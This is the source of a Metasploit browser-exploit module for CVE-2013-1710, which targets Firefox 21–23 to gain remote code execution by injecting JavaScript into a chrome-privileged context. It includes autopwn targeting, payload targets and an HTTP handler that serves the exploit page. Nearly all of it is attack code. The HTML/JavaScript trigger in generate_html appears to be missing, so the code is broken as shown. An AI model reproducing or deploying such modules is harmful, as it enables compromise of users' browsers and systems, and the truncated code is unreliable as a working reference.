## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "21.0", :ua_maxver => "23.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox toString console.time Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 21-23 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'moz_bug_r_a4', # discovered CVE-2013-1710 'joev' # metasploit module ], 'DisclosureDate' => "Aug 6 2013", 'References' => [ ['CVE', '2013-1710'] # bypass Chrome Object Wrapper to talk to chrome:// ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(21, 23) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) opts = { :payload => run_payload # defined in FirefoxPrivilegeEscalation mixin } %Q| #{datastore['CONTENT']} | end end